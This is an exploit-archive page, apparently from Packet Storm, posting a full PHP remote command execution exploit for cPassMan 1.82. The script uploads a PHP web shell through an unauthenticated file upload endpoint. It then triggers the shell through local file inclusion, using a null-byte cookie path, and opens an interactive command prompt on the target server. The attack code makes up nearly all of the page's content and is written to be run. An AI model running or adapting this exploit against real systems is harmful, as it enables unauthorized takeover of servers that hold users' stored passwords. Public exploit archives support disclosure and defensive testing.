what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cPassMan 1.82 Remote Command Execution

cPassMan 1.82 Remote Command Execution
Posted Feb 25, 2012
Authored by ls

Remote command execution exploit for Collaborative Passwords Manager (cPassMan) version 1.82.

tags | exploit, remote
SHA-256 | e960e46c31b010c7c21b65520e2cf34f88405a9be03cfbdef7f03b7d9cd6edd1

cPassMan 1.82 Remote Command Execution

Change Mirror Download
Product.                       Collaborative Passwords Manager (cPassMan)
Platform. Independent (PHP)
Affected versions. 1.82
<?php
/*
* cPassMan v1.82 Remote Command Execution Exploit by ls (contact@kaankivilcim.com)
* Disclaimer: cPassMan developer was notified of vulnerabilities in April 2011 and advised that v1.x was no longer supported.
* Note: Requires PHP 5.3.3 or lower due to the use of a poison null byte in the LFI.
*/
if ($argc < 3) {
print "Usage: php -f {$argv[0]} <host> <path> (e.g. php -f {$argv[0]} 192.168.129.130 /cpassman)\n";
exit();
}
print "--------------------------------------------------------------------------------\n";
print "cPassMan v1.82 Remote Command Execution Exploit by ls (contact@kaankivilcim.com)\n";
print "--------------------------------------------------------------------------------\n";
$host = $argv[1];
$path = $argv[2];
$port = 80;
/*
* Stage One: Unauthenticated Arbitrary File Upload
* Uploaded files are stored in the document root of the web server as a file with the MD5 hash of the original filename.
*/
print "[*] Stage One: Uploading command execution handler... ";
$upload_path = $path . "/includes/libraries/uploadify/uploadify.php";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
if ($fp) {
fputs($fp, "POST $upload_path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Content-Type: multipart/form-data; boundary=---------------------------4827543632391\r\n");
fputs($fp, "Content-Length: 233\r\n\r\n");
fputs($fp, "-----------------------------4827543632391\r\n");
fputs($fp, "Content-Disposition: form-data; name=\"Filedata\"; filename=\"rabbit.txt\";\r\n");
fputs($fp, "Content-Type: text/plain\r\n\r\n");
fputs($fp, "<?php echo system(\$_GET['z']); die(); ?>\r\n");
fputs($fp, "-----------------------------4827543632391--\r\n\r\n");
$result = fgets($fp, 16);
fclose($fp);
}
if (strstr($result, "200 OK")) {
print "Success!\n";
}
/*
* Stage Two: Local File Inclusion
* Several LFI vulnerabilities exist in the user language selection functionality. The exploit uses the user_language cookie attack vector.
*/
print "[*] Stage Two: Confirming command execution via local file inclusion... ";
$cmd = "echo rabbit";
$success = FALSE;
$stdin = fopen("php://stdin","r");
do {
$cmd = str_replace(" ", "+", $cmd);
$lfi_path = $path . "/index.php?z=" . $cmd;
$fp = fsockopen($host, $port, $errno, $errstr, 30);
if ($fp) {
fputs($fp, "GET $lfi_path HTTP/1.1\r\n");
fputs($fp, "Host: 192.168.129.130\r\n");
fputs($fp, "Cookie: user_language=../../../89f84a8775dd8f60cdbdef0d73919511%00\r\n");
fputs($fp, "Content-Length: 0\r\n\r\n");
for ($i = 0; $i < 13; $i++) {
fgets($fp, 2048);
}
$output = "\n";
while (($tmp = fgets($fp, 2048)) != FALSE && !feof($fp)) {
$output .= $tmp;
}
if ($success) {
echo $output;
}
fclose($fp);
}
if (!$success && strstr($output, "rabbit")) {
$success = TRUE;
print "Success!\n";
}
print "\n> ";
} while ($cmd = trim(fgets($stdin)));
?>


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close